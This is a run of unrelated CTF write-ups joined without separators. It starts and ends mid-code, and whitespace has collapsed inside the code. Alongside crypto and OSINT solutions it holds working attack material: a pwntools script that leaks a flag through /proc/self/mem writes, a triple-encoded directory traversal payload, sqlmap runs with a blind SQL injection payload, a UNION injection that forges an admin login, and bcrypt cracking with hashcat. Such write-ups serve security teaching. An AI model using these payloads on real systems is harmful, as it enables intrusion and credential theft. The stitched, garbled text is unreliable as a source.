bytes_to_long(open("flag.txt", "rb").read()) result = cipher.encrypt(flag) myprint(f"Result (N, e, ct): {result}") exit(0) ``` The user basically has $10$ attempts to either: * obtain a ciphertext for a chosen plaintext * obtain the encrypted flag Since the mere existence of the `LCG` implementation is suspicious, let'sanalyze it further. It is very easy to see that any LCG, regardless of how wechoose its parameters, will eventually end up in a cycle for any given seedvalue. In general, we want the length of that cycle, also known as the seedperiod, to be as large as possible. It should also be obvious that not allchoices of parameters will ensure that property. At this point, you may bring out your trusty pen and paper and calculate the[expected](https://en.wikipedia.org/wiki/Expected_value) seed period given thevalue $m$, and the fact that all parameters (including the seed) are generateduniformly at random. An easier approach is to simply test this LCGimplementation and see what happens. ```python#!/usr/bin/python3 from Crypto.Util.number import * import os class LCG: def __init__(self): self.m = 128 self.state = bytes_to_long(os.urandom(1)) self.a = bytes_to_long(os.urandom(1)) self.b = bytes_to_long(os.urandom(1)) def next(self): self.state = (self.a * self.state + self.b) % self.m return self.state def main(): for _ in range(20): gen = LCG() nums = [] for _ in range(10): nums.append(gen.next()) print(nums) if __name__ == '__main__': main()``` Running this code gives us ![LCG Test](img/lcg_test.png) We can see that in $6$ out of $20$ experiments, the our generator ends up in acycle of length $1$. This is a serious flaw in the context of the challenge,because it means that the last few encryptions will be done with an RSA modulus$N = p^2$, which is obviously trivial to factorize. This completely breaks thesecurity of the encryption scheme. More precisely, we can solve the challenge by: * Spamming the encryption oracle $9$ times hoping that the generator ends up in a cycle of length $1$. * Obtaining the encrypted flag in the $10$-th query. * Attempting to factorize $N$ by taking the square root. If it turns out that $N \ne p^2$, we simply try again. * Decrypt the flag by calculating the private key $d$ as the multiplicative inverse of $e$ modulo $\varphi$, where $\varphi = p(p - 1)$. Putting it all together in the solve script ```pythonfrom Crypto.Util.number import *from gmpy2 import isqrtfrom pwn import * r = remote("0.cloud.chals.io", 24473)print(r.recvuntil("Initializing service...").decode("utf-8")) l = log.progress('Waiting for prompt')r.recvuntil(b"> ")l.success('Done') l = log.progress('Spamming encryption oracle')for i in range(9): r.sendline(b"1") r.recvuntil(b"Message (hex): ") r.sendline(b"ab") r.recvuntil(b"> ").decode("utf-8")l.success('Done') l = log.progress('Getting encrypted flag')r.sendline(b"2")(N, e, ct) = eval(r.recvline().decode("utf-8").split(":")[-1])ct = int(ct, 16)l.success('Done') l = log.progress('Decrypting flag') p = int(isqrt(N))if p * p != N: l.failure('N is not a perfect square, try again!') exit(0)phi = p * (p - 1)d = inverse(e, phi)flag = long_to_bytes(pow(ct, d, N)).decode("utf-8")l.success(flag)``` After a few attempts, this reveals the flag: `TBTL{L1n3ar_C0ngru3n71al_Gen3r4t0r5_W17h_R4nd0m_P4ram3t3r5_5uck!}`.
# Online Chatroom ![image](https://github.com/LazyTitan33/CTF-Writeups/assets/80063008/250d063c-9781-4609-a39d-ab83e43d2a1f) For this challenge, we get the source code of a Go binary. We notice some chat messages going on and the flag is within the chat history of user 5. ![image](https://github.com/LazyTitan33/CTF-Writeups/assets/80063008/211730c1-8070-4b84-9fd9-6cc1ace0c115) Sending a simple message in the web application: ![image](https://github.com/LazyTitan33/CTF-Writeups/assets/80063008/fb992564-1a32-4de9-8c18-b2dfe236ac10) And intercepting it with Burpsuite, we notice it is using websockets: ![image](https://github.com/LazyTitan33/CTF-Writeups/assets/80063008/58b00757-2dfd-4ed4-87e8-8f6b96b9632c) In the source code, we notice another command other than `!write`. We notice we can query the chat history using `!history`. After sending the request to Repeater, we see we need to provide an index from 1 to 7. ![image](https://github.com/LazyTitan33/CTF-Writeups/assets/80063008/c85a6b86-7c69-4915-bee7-c71f62b77653) Well, what happens if we query outside of that range? ![image](https://github.com/LazyTitan33/CTF-Writeups/assets/80063008/d2255c17-256e-4bc3-80a7-12229e5cb36e) We get the flag: flag{c398112ed498fa2cacc41433a3e3190b}
```Part2:Was that too easy? Let's make it toughIt's the challenge from before, but I've removed all the fluff nc wfw[2.2023.ctfcompetition.com 1337solves 155```From reversing the challenge, we can quickly identify the behavior. The challenge first output the process map, allowing us to know pie, libc, and stack addresses. It then close stdin/stdout/stderr, and only accept inputs from fd 1337. Lastly, the challenge goes into a while loop, taking an address and a count, then write count number of bytes of flag to the specified address. Note that the flag is written by writting directly to the process memory file, so all addresses are writable, including the code themselves. This will be handy for part 3. The decompiled code from ghidra for part 3, with some modification to reflect each level:```int main(){ local_c = open("/proc/self/maps",0); read(local_c,maps,0x1000); close(local_c); local_10 = open("./flag.txt",0); if (local_10 == -1) { puts("flag.txt not found"); } else { sVar2 = read(local_10,flag,0x80); if (0 < sVar2) { close(local_10); local_14 = dup2(1,0x539); local_18 = open("/dev/null",2); dup2(local_18,0); dup2(local_18,1); dup2(local_18,2); close(local_18); alarm(0x3c); dprintf(local_14, "Your skills are considerable, I\'m sure you\'ll agree\nBut this final level\'s toughn ess fills me with glee\nNo writes to my binary, this I require\nFor otherwise I will s urely expire\n" ); dprintf(local_14,"%s\n\n",maps); while( true ) { // dprintf(local_14,"Give me an address and a length just so:\n<address> <length>\nAnd I\'ll write it wh erever you want it to go.\nIf an exit is all that you desire\nSend me nothing and I will happily expire\n"); // part 1 local_78 = 0; local_70 = 0; local_68 = 0; local_60 = 0; local_58 = 0; local_50 = 0; local_48 = 0; local_40 = 0; sVar2 = read(local_14,&local_78,0x40); local_1c = (undefined4)sVar2; iVar1 = __isoc99_sscanf(&local_78,"0x%llx %u",&local_28,&local_2c); // if (((iVar1 != 2) || (0x7f < local_2c))) // part 2 if (((iVar1 != 2) || (0x7f < local_2c)) || ((main - 0x5000 < local_28 && (local_28 < main + 0x5000)))) // part 3 break; local_20 = open("/proc/self/mem",2); lseek64(local_20,local_28,0); write(local_20,flag,(ulong)local_2c); close(local_20); } /* WARNING: Subroutine does not return */ exit(0); } puts("flag.txt empty"); } return 1;}```Part 2 proves to be trickier. In ghidra, the exit call stopped the decompiler from disassembling the code further, therefore missing a dprintf function call after the exit(0) call. Instead, I tried to leak the flag using the sscanf function with the string 0x%llx %u. The sscanf function call will attempt to match the input format string from the input string. In the original challenge, it’s trying to match the starting 0x before reading the hex numbers as input. For example, if we overwrite the format string to Cx%llx %u and send the input Cx0 0, the program will continue normally, but input Dx0 0 will exit immediately after. Therefore, we can overwrite that string, then attempt to read different strings, leaking the flag byte by byte. See solve2.py for implementation details. `CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}````#!/usr/bin/python3from pwn import *elf = ELF("./chal_patched")libc = ELF("./libc.so.6")ld = ELF("./ld-2.35.so") context.binary = elfcontext.terminal = ["tmux", "splitw", "-h"] def connect(): nc_str = "nc wfw2.2023.ctfcompetition.com 1337" _, host, port = nc_str.split(" ") p = remote(host, int(port)) return p def attempt(cur_flag, ch): p = connect() p.recvuntil(b"fluff\n") elf.address = int(p.recvline().split(b'-')[0], 16) for i in range(6): p.recvline() libc.address = int(p.recvline().split(b'-')[0], 16) for i in range(11): p.recvline() stack_base = int(p.recvline().split(b'-')[0], 16) for i in range(5): p.recvline() # print(hex(elf.address), hex(libc.address), hex(stack_base)) count = len(cur_flag)+1 target_address = elf.address+0x20bc-(count-1) overwrite_str = hex(target_address) p.sendline(f"{overwrite_str} {count}") overwrite_str = hex(target_address) p.sendline(f"{ch}{overwrite_str[1:]} {count}") overwrite_str = hex(target_address) p.sendline(f"-{overwrite_str[1:]} {count}") try: p.recv(1, timeout=1) except Exception: p.close() return False p.close() return True def main(): context.log_level='critical' FLAG = "CTF{" for l in range(100): for c in "_"+string.printable[:-7]: print(FLAG+c) if attempt(FLAG, c): FLAG+=c break if FLAG[-1] == "}": break print(FLAG) if __name__ == "__main__": main()``` [link to blog](https://bronson113.github.io/2023/06/26/googlectf-2023-writeup.html#write-flag-where-13)
# What is a name of video file which is related with tanks> What is a name of video file which is related with tanks? ## About the ChallengeWe need to find the name and the extensions of file which is related with tanks ## How to Solve?There is a picture that related to tanks (You can find the file on `/userdata/root/media/0/Downloads` folder) ![tanks](images/tanks.png) ```tanks.mp4```
## Disclaimer 1. This challenge was resolved after the end of the CTF, so it doesn't count for the final ranking.2. Please check the original writeup on https://dothidden.xyz/dantectf_2023/strangebytes/ if you want to see it with the pictures. ## Description of the challenge I got hacked by a ransomware and it encrypted some important files. Some crypto analyst told me they were encrypted using AES CBC, but there is something strange in them which can probably be exploited. I don't have enough money to give the job to proper crypto analysts, could you decrypt them for me please? ## Solution This challenge provided a zip file containing 250 encrypted files with random names (names of the files were not part of the challenge).The description of the challenge tells us many of useful information: * The encryption algorithm is AES CBC.* There is something strange inside the files that we could exploit.* The title of the challenge is "StrangeBytes", we can assume that the strange thing is related to the bytes of the files. Let's open a random file with a hex editor and see what we can find.The first we can notice is that there is the following char sequence: `:CBC`, let's openanother file and see if we can find the same sequence. We can see that the sequence `:CBC` is present in all the files, so it's probably related to the flag. Furthermore, we can see that not only the`:CBC` is present in all the files but also the following pattern: ```\...o.....m..(g ...4c...U.M..3..:..%yD..Ob...{..\:CBC``` which has the following hex code: ```5c f3 c0 f0 6f fb 02 fe a3 9b 6d ab de 28 67 20 9e 96 86 34 63 a4 b7 8b 55 aa 4d 88 b0 33 81 1e 3a ba 1b 25 79 44 af df 4f 62 0b 0f e4 7b a1 b8 5c 3a 43 42 43``` This pattern has a length of 53 bytes in total and if we remove the `:CBC` pattern we got a length of 49 bytes.If we assume that the first 32 bytes are the AES 256 key, the next 17 bytes are the IV. We can now try to decrypt the files after removing the pattern using the following python script: > Please check our official writeup to get the Python script https://dothidden.xyz/dantectf_2023/strangebytes/ The `find_flag` function will print the flag if we find the pattern `DANTE` into a decrypted file.The final result will be the following where we can see the flag `DANTE{AHh9HhH0hH_ThAat_RAnsomware_maDe_m3_SaD_FFFFAAABBBBDDDD67}`: ```b'\xe6\xc3S(H\xa89\xf5a"O\x9b\xdc\xae]\xbcJptXFiXMNqAJXFurPPgPYMSWgFRsLbFkdwQXLpBNQDSsJYRqdvYGsRrQxELqXxYjjyAdAWQZijTTPILOBmMJefZooyVmVvhoRoLPOhglTpBrnVFfAQyxrYKcErXIGvoeIMbwSoPwTImkwoByqkaSLhPmhraomgIqkynvRzyGzMBEHfYVxyKQRRQWUqIGnnlmCLICQDlwUeklDqQkHyfTzsGYttyRZvCSPJDANTE{AHh9HhH0hH_ThAat_RAnsomware_maDe_m3_SaD_FFFFAAABBBBDDDD67}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'```
# pqqp> ✨ ## About the ChallengeWe have been given a zip file (You can download the file [here](cry-pqqp.zip)). There are 2 files inside the zip file, `chall.py` and `output.txt`. Here is the content of `chall.py` ```pythonimport os from Crypto.Util.number import bytes_to_long, getPrime flag = os.environb.get(b"FLAG", b"FAKE{THIS_IS_FAKE_FLAG}") p = getPrime(1024)q = getPrime(1024)n = p * qe = 0x10001d = pow(e, -1, (p - 1) * (q - 1)) m = bytes_to_long(flag)c = pow(m, e, n)s = (pow(p, q, n) + pow(q, p, n)) % n print(n)print(e)print(c)print(s)``` This Python script resembles the structure of many common cryptographic challenges, with the addition of a new variable called `s`. The script generates an RSA public-key encryption scheme with randomly generated primes `p` and `q` of length 1024 bits, and encrypts an input flag using RSA. The public key parameters `n` and `e`, as well as the ciphertext `c`, are outputted as usual. However, the script also calculates a signature s, which is obtained by computing the sum of the modular exponentiation of `p` raised to the power `q` and `q` raised to the power `p` modulo n. And here is the content of `output.txt` ```31091873146151684702346697466440613735531637654275447575291598179592628060572504006592135492973043411815280891993199034777719870850799089897168085047048378272819058803065113379019008507510986769455940142811531136852870338791250795366205893855348781371512284111378891370478371411301254489215000780458922500687478483283322613251724695102723186321742517119591901360757969517310504966575430365399690954997486594218980759733095291730584373437650522970915694757258900454543353223174171853107240771137143529755378972874283257666907453865488035224546093536708315002894545985583989999371144395769770808331516837626499129978673655378684906481438508573968896111659984335865272165432265041057101157430256966786557751789191602935468100847192376663008622284826181320172683198164506759845864516469802014329598451852239038384416618987741292207766327548154266633297700915040296215377667970132408099403332011754465837054374292852328207923589678536677872566937644721634580238023851454550310188983635594839900790613037364784226067124711011860626624755116537552485825032787844602819348195953433376940798931002512240466327027245293290482539610349984475078766298749218537656506613924572126356742596543967759702604297374075452829941316449560673537151923549844071352657755607663100038622776859029499529417617019439696287530095700910959137402713559381875825340037254723667371717152486958935653311880986170756144651263966436545612682410692937049160751729509952242950101025748701560375826993882594934424780117827552101647884709187711590428804826054603956840883672204048820926``` ## How to Solve?This chall is literally same with `ImaginaryCTF: pqqp` (You can access the writeup [here](https://github.com/maple3142/My-CTF-Challenges/blob/master/ImaginaryCTF/Round%2026/pqqp/README.md)) ![flag](images/flag.png) ```FLAG{p_q_p_q_521d0bd0c28300f}```
# Extract Service 1> We have released a summary service for document files! Please feel free to use the sample document file in the "sample" folder of the distribution file for trial purposes. > The secret information is written in the /flag file on the server, but it should be safe, right...? Let's see what kind of HTTP request is sent! ## About the ChallengeWe have been given a website and a source code (You can download the file [here](web-extract1.zip)). This website can read the docx, xlsx, and pptx files that we have uploaded ![preview](images/preview.png) ## How to Solve?If you check the source code especially on `main.go` file, there is a function called `ExtractContent` where this function can read any file by using `os.ReadFile` function ```gofunc ExtractContent(baseDir, extractTarget string) (string, error) { raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget)) if err != nil { return "", err } removeXmlTag := regexp.MustCompile("<.*?>") resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "") removeNewLine := regexp.MustCompile(`\r?\n`) resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "") return resultNewLineRemoved, nil}``` And because of there is no filter in the `extractTarget` variable (You can check this in line 38 - 44) ```go extractTarget := c.PostForm("target") if extractTarget == "" { c.HTML(http.StatusOK, "index.html", gin.H{ "result": "Error : target is required", }) return }``` This website is vulnerable to directory traversal attack. To obtain the flag we need to change the value of the `target` parameter to `../../../../../../flag` ![flag](images/flag.png) ```FLAG{ex7r4c7_1s_br0k3n_by_b4d_p4r4m3t3rs}```
# WannaFlag III Infiltration> We have some solid leads so far. However, we need our flags back. Find a way to locate their communication and infiltrate their private ransom service, and submit the stolen flag we wanted to use for the first OSINT! > From outside intelligence, we know the group sometimes goes by w4nn4_fl4g > Completion of this Challenge Unlocks: > WannaFlag IV: Exfiltration > WannaFlag V: The Mastermind ## About the ChallengeWe need to find more information about `w4nn4_fl4g` ## How to Solve?If you search on google using `w4nn4_fl4g` keyword, the result is: ![google](images/google.png) Check the reddit page, and doing some OSINT. You will get some information:* The moderator is https://www.reddit.com/user/w4nn4fl4g_admin/* There are 6 posts on the page* There are 2 users that already posts 7 days ago, 1 user has deleted their account and the other one is still active (https://www.reddit.com/user/RemarkableDiamond443/) We will focus on the deleted user. If you check on the google search (Last result). You will see another user called `u/Chemical_Bread1558` and if you access their profile page, the account was deleted. ![last](images/last.png) We know the deleted user username, now search it on google about that user ![deleted](images/deleted_user.png) Check the [2nd result](https://www.reddit.com/r/w4nn4_fl4g/comments/11p6cdl/how/). As you can see that post was deleted. To recover the post, go to web.archive.org ![archive](images/archive.png) There are 2 snapshots, choose the oldest one. And you will see a random website on the comment section ![comment](images/comment.png) Access that website and you will get the flag ![flag](images/flag.png) ```wctf{sp1nnnNn_tH3_cUb333e3E}```
# Just_Passw0rd> ELF file can be executed by typing ./just_password in WSL or Linux. > In this challenge, The ELF file requires password. Is there a way to look inside without knowing the password? ## About the ChallengeWe have been given a compiled file (You can download the file [here](just_password)). We need to know the password of the file to obtain the flag ![preview](images/preview.png) ## How to Solve?To obtain the flag we need to use `strings` and `grep` command. And the command that I used to read the flag was ```shellstrings just_password | grep "FLAG"``` ![flag](images/flag.png) ```FLAG{1234_P@ssw0rd_admin_toor_qwerty}```
The program implements a simple AES-CBC encryption and decryption service, with key and iv being randomly generated and unknown to us. However, after each decryption the key and iv are re-generated. There are three vulnerabilities in the program: we firstly leak the pointers and canary via an out-of-bounds read in decryption; we then use a data segment overflow in the hexadecimal parser to rewrite the constants used by AES, so that key and iv can be leaked; finally, a stack overflow filled with encrypted data is exploited to get the code execution.
### Description>Here's a freebie: the flag is ictf. As the title suggests, we can use the `inspector` (F12) and have a look around. We'll quickly see the description HTML looks like this.```htmlHere's a freebie: the flag is ictf.``` Here's a freebie: the flag is ictf. We have our flag.```txtictf{m4rkdown_parser_fail_1a211b44}```
# EZDORSA_Lv3> The power of mathematics is staggering! ## About the ChallengeWe have been given a zip file (You can download the file [here](cry-EZDORSA-Lv3.zip)). There are 2 files inside the zip file, `chall.py` and `out.txt`. Here is the content of `chall.py` ```pythonfrom Crypto.Util.number import * e = 65537 n = 1prime_list = []while len(prime_list) < 100: p = getPrime(25) if not (p in prime_list): prime_list.append(p) for i in prime_list: n *= i m = b"FAKE{DUMMY_FLAG}"c = pow(bytes_to_long(m), e, n) print(f"n = {n}")print(f"e = {e}")print(f"c = {c}")``` The given Python code generates a 100-digit RSA public key with exponent e=65537 and modulus n, which is the product of 100 randomly generated 25-bit prime numbers. A message m="FAKE{DUMMY_FLAG}" is encrypted using the RSA encryption algorithm and the resulting ciphertext c is printed along with the public key parameters. The code demonstrates how RSA encryption can be used to securely transmit messages over an insecure communication channel, where only the intended recipient who possesses the private key can decrypt and recover the original message. And here is the content of `out.txt` ```n = 22853745492099501680331664851090320356693194409008912025285744113835548896248217185831291330674631560895489397035632880512495471869393924928607517703027867997952256338572057344701745432226462452353867866296639971341288543996228186264749237402695216818617849365772782382922244491233481888238637900175603398017437566222189935795252157020184127789181937056800379848056404436489263973129205961926308919968863129747209990332443435222720181603813970833927388815341855668346125633604430285047377051152115484994149044131179539756676817864797135547696579371951953180363238381472700874666975466580602256195404619923451450273257882787750175913048168063212919624027302498230648845775927955852432398205465850252125246910345918941770675939776107116419037e = 65537c = 1357660325421905236173040941411359338802736250800006453031581109522066541737601274287649030380468751950238635436299480021037135774086215029644430055129816920963535754048879496768378328297643616038615858752932646595502076461279037451286883763676521826626519164192498162380913887982222099942381717597401448235443261041226997589294010823575492744373719750855298498634721551685392041038543683791451582869246173665336693939707987213605159100603271763053357945861234455083292258819529224561475560233877987367901524658639475366193596173475396592940122909195266605662802525380504108772561699333131036953048249731269239187358174358868432968163122096583278089556057323541680931742580937874598712243278738519121974022211539212142588629508573342020495``` ## How to Solve?To solve this chall, im using this [tool](https://github.com/X-Vector/X-RSA) and then choose `Multi Prime Number` ![flag](images/flag.png) ```FLAG{fact0r1z4t10n_c4n_b3_d0n3_3as1ly}```
### Description>A classic PHP login page, nothing special. ## ReconTry to login with `admin:admin` and get `Invalid username or password`. View page source and find a comment.```html ``` Aight so let's check http://login.chal.imaginaryctf.org/?source```php$flag = $_ENV['FLAG'] ?? 'jctf{test_flag}';$magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344';$db = new SQLite3('/db.sqlite3'); $username = $_POST['username'] ?? '';$password = $_POST['password'] ?? '';$msg = ''; if (isset($_GET[$magic])) { $password .= $flag;} if ($username && $password) { $res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true); if (!$res) { $msg = "Invalid username or password"; } else if (password_verify($password, $res['pwhash'])) { $u = htmlentities($res['username']); $msg = "Welcome $u! But there is no flag here :P"; if ($res['username'] === 'admin') { $msg .= ""; } } else { $msg = "Invalid username or password"; }}``` So the `$flag` will be appended to the `$password` if we provide the correct `$magic` value as a GET parameter, e.g. http://login.chal.imaginaryctf.org/?aabbccdd11223344 As the `$msg` indicates, logging in as the admin will not provide the flag. It will give us the `$magic` value we need but we'll still need a way to recover the flag. ## SolutionI go straight for `sqlmap`, feeding the POST login request as a file.```bashsqlmap -r new.req --batch``` We quickly find our vuln.```bashParameter: username (POST) Type: time-based blind Title: SQLite > 2.0 AND time-based blind (heavy query) Payload: username=admin' AND 7431=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- bqUp&password=admin``` Let's exploit it to get the admin's password, then we can login and get the magic value! Start off finding the tables.```bashsqlmap -r new.req --batch --tables+-------+| users |+-------+``` Now we can use `--columns` to narrow it down further.```bashsqlmap -r new.req --batch -T users --columns``` However, I decided to guess instead.```bashsqlmap -r new.req --batch -T users -C password --dump+----------+| password |+----------+| <blank> || <blank> |+----------+``` Guess we need `pwhash` instead, then we can crack it.```bashsqlmap -r new.req --batch -T users -C pwhash --dump+--------------------------------------------------------------+| pwhash |+--------------------------------------------------------------+| $2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S. || $2y$10$Is00vB1hRNHYBl9BzJwDouQFCU85YyRjJ81q0CX1a3sYtvsZvJudC |+--------------------------------------------------------------+``` Let's confirm the hash type.```bashhashid '$2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S.'[+] Blowfish(OpenBSD) [+] Woltlab Burning Board 4.x [+] bcrypt ``` We check the mode in hashcat and put the hashes into a file called "hash".```bashhashcat -h | grep -i blowfish3200 | bcrypt $2*$, Blowfish (Unix``` Time to crack (I have the rockyou.txt wordlist in an environment variable)!```bashhashcat -m 3200 hash $rockyou``` It said it would take 2 days in my VM so I switched to windows (GPU), reduced time to ~10 hours.```bashhashcat.exe -m 3200 hashes/hashes.txt wordlists/rockyou.txt``` Not likely to be intended lol. I guess we could half the time by only trying to crack the admin password. I ran SQLMap again and dumped the users; `guest` and `admin`. Note, we can login as `guest:guest` but just get `Welcome guest! But there is no flag here :P`. Maybe [Password_verify() always return true with some hash](https://bugs.php.net/bug.php?id=81744) Nope, didn't work for me. Maybe [SQL Injection with password_verify()](https://stackoverflow.com/a/50788204) It looks good! According to [this answer](https://stackoverflow.com/a/50788242) we can select a username, along with a "fake" password hash of our choice.```sql SELECT * FROM table WHERE Username = 'xxx' UNION SELECT 'root' AS username, '$6$ErsDojKr$7wXeObXJSXeSRzCWFi0ANfqTPndUGlEp0y1NkhzVl5lWaLibhkEucBklU6j43/JeUPEtLlpRFsFcSOqtEfqRe0' AS Password'``` Took some trial and error but eventually:```sqlguest' UNION SELECT 'admin', '$2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S.' AS pwhash --``` So the full SQL statement on the backend will look like.```sql$res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = 'guest' UNION SELECT 'admin', '$2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S.' AS pwhash --'", true);``` Essentially, it's grabbing the `admin` user along with the `guest` password hash (which we know translates to `guest`). We login (username set to our SQLi payload and the password is `guest`). Our `magic` value is in the source!```htmlWelcome admin! But there is no flag here :P``` Now we know that visiting http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0 will trigger the following code, appending the flag to the password.```phpif (isset($_GET[$magic])) { $password .= $flag;}``` Note: I didn't finish this challenge but let me finish the writeup for the sake of completion. There's a recently closed [github issue](https://github.com/php/doc-en/issues/1328): `password_hash documentation: Caution about bcrypt max password length of 72 should mention bytes instead of characters`>Caution Using the PASSWORD_BCRYPT as the algorithm, will result in the password parameter being truncated to a maximum length of 72 characters. So, we can combine our first exploit (selecting any known password hash with SQLi) with the truncation vulnerability. We submit the bcrypt hash of `(71 * A) + flag_char` as the password, where `flag_char` is looping through all printable ASCII chars. If the login is successful, we've cracked that character of the flag and we can now do `(70 * A) + flag_char`, until we have the full flag. Doing so would recover our flag.```txtictf{why_are_bcrypt_truncating_my_passwords?!}``` Apparently, this was covered in a [recent video](https://www.youtube.com/watch?v=E5TOeiCnGkE&t=3183s) from IppSec. There's a [solve script](https://github.com/f0rk3b0mb/ImaginaryCTF_login/blob/main/expoloit.py) included with f0rk3b0mb's [writeup](https://f0rk3b0mb.github.io/p/imaginaryctf2023) <3
# Switcharoo> It's a busy weekend, with tens of CTF happening at the same time :) If there is extra time, why not check out https://ctf.b01lers.com? BTW, take this as a gift: YmN0ZntoMzExMF93MHIxZF9nMWY3X2ZyMG1fN2gzX2IwMWxlcl9zMWQzfQ== ## About the ChallengeWe need to register to https://ctf.b01lers.com to get the flag ## How to Solve?Register to https://ctf.b01lers.com/ and check the `misc` chall. You will get the flag by decode the message using `base64` ![flag](images/flag.png) ```wctf{M41z3_4nd_Blu3}```
### Description>My rock enthusiast friend made a website to show off some of his pictures. Could you do something with it? Source code is provided, so let's review it before we check [the site](http://roks.chal.imaginaryctf.org). ## ReconThe `Dockerfile` shows us where to look for the flag.```dockerfileCOPY flag.png /``` `index.php` has a function to GET a random image.```jsfunction requestRandomImage() {var imageList = ["image1", "image2", "image3", "image4", "image5", "image6", "image7", "image8", "image9", "image10"] var randomIndex = Math.floor(Math.random() * imageList.length); var randomImageName = imageList[randomIndex]; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { var blob = xhr.response; var imageUrl = URL.createObjectURL(blob); document.getElementById("randomImage").src = imageUrl; } }; xhr.open("GET", "file.php?file=" + randomImageName, true); xhr.responseType = "blob"; xhr.send();}``` You'll notice that it makes a request to `file.php` with a user-controllable GET parameter, possible LFI. Checking the source, we'll see that parameters including `/` or `.` will be blocked, preventing us from using directory traversal, e.g. `../../`.```php$filename = urldecode($_GET["file"]);if (str_contains($filename, "/") or str_contains($filename, ".")) { $contentType = mime_content_type("stopHacking.png"); header("Content-type: $contentType"); readfile("stopHacking.png");} else { $filePath = "images/" . urldecode($filename); $contentType = mime_content_type($filePath); header("Content-type: $contentType"); readfile($filePath);}``` ## SolutionWe load the site and click the `get rok picture`. Each time, it retrieves a new random rock picture. The URL doesn't change but we know from the source code, we can simply access a URL like: http://roks.chal.imaginaryctf.org/file.php?file=image1 We try LFI: http://roks.chal.imaginaryctf.org/file.php?file=../../../flag.png As expected, we get the `stopHacking.png` which tells us to `STOP HACKING OUR COMPUTER.. YOU HACKERS`. Let's try with URL encoding: `%2e%2e%2f%2e%2e%2f%2e%2e%2fflag.png` No difference, but I realised we aren't allowed a single dot in the string, so tried `%2e%2e%2f%2e%2e%2f%2e%2e%2fflag%2epng` but no luck. Tried to double-URL encode: `%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66flag%25%32%65png` Still no luck, so I tried URL encode with unicode: `%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002fflag%u002epng` This time, we get some errors.```txtWarning: mime_content_type(images/%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002fflag%u002epng): Failed to open stream: No such file or directory in /var/www/html/file.php on line 9 Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/file.php:9) in /var/www/html/file.php on line 10 Warning: readfile(images/%u002e%u002e%u002f%u002e%u002e%u002f%u002e%u002e%u002fflag%u002epng): Failed to open stream: No such file or directory in /var/www/html/file.php on line 11``` Hmmm OK so reviewing the code again, notice that it first URL decodes the filename.```php$filename = urldecode($_GET["file"]);``` Next, it checks if the filename contains `/` or `.` and if it doesn't, it will URL decode the filename a second time.```php$filePath = "images/" . urldecode($filename);``` This made me think my approach of double URL encoding was correct, I'd just failed to directory traverse far enough since `/var/www/html/images/` requires `../../../../` to get back to the root directory: `%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66flag%25%32%65png` Still doesn't work! Maybe I need to triple URL encode: `%2525%2532%2565%2525%2532%2565%2525%2532%2566%2525%2532%2565%2525%2532%2565%2525%2532%2566%2525%2532%2565%2525%2532%2565%2525%2532%2566%2525%2532%2565%2525%2532%2565%2525%2532%2566%2525%2536%2536%2525%2536%2563%2525%2536%2531%2525%2536%2537%2525%2532%2565%2525%2537%2530%2525%2536%2565%2525%2536%2537` Yep, that did the trick! We get a PNG image containing the flag. I'm too lazy to type it out, so I extract the text from the image.```bashsudo apt-get install tesseract-ocr``````bashtesseract file.png stdoutictf{tr4nsv3rsing Ov3r_rOk5_6a3367}``` Tesseract got 4 characters wrong.. Manually corrected the flag!```txtictf{tr4nsv3rs1ng_0v3r_r0k5_6a3367}```
We can see that each square is 10 by 10 pixels. We can recreate the eyes (things on the corners) and try different blurs to find the blurring technique. After a few trials, we can see that gaussian blur with kernel size 43 is close enough. Now we can try each square, blur it and see if the result matches with the original image. But because of the kernel size, even 5 square away affects our square, but just a little bit. In fact, trying only 2 square away straight and 1 diagonal is enough (like a diamond shape). ![diamond](https://i.imgur.com/vecAdH2.png) Because we bruteforce in order, we only need to bruteforce 7 squares, which is 2^7 cases (small!). Lets try bruteforcing the squares, blur the image and see if it matches with the original image. ```pythonimport cv2 as cvimport numpy as np original = cv.imread('qr.png') recovered = np.zeros(original.shape, dtype=np.uint8)recovered.fill(255) def paint(x, y, dark, im): if dark: im[30+x*10:30+x*10+10, 30+y*10:30+y*10+10] = [0, 0, 0] else: im[30+x*10:30+x*10+10, 30+y*10:30+y*10+10] = [255, 255, 255] def difference(i, j, im): blurred = cv.GaussianBlur(im, (43, 43), 0) diff = blurred[30+i*10:30+i*10+10, 30+j*10:30+j*10+10, 0] - original[30+i*10:30+i*10+10, 30+j*10:30+j*10+10, 0] diff[diff>128] = 255-diff[diff>128] return diff.sum() for i in range(0, 37): for j in range(0, 37): min_diff = difference(i, j, recovered) is_paint = False bruteforce = recovered.copy() for mask in range(0, 2**7): for ii, jj, c in zip([0, 0, 0, 1, 1, 1, 2], [0, 1, 2, -1, 0, 1, 0], range(7)): ii += i jj += j if ii < 0 or ii >= 37 or jj < 0 or jj >= 37: continue if mask & (1 << (c)): paint(ii, jj, True, bruteforce) else: paint(ii, jj, False, bruteforce) new_diff = difference(i, j, bruteforce) if new_diff < min_diff: min_diff = new_diff is_paint = mask & 1 paint(i, j, is_paint, 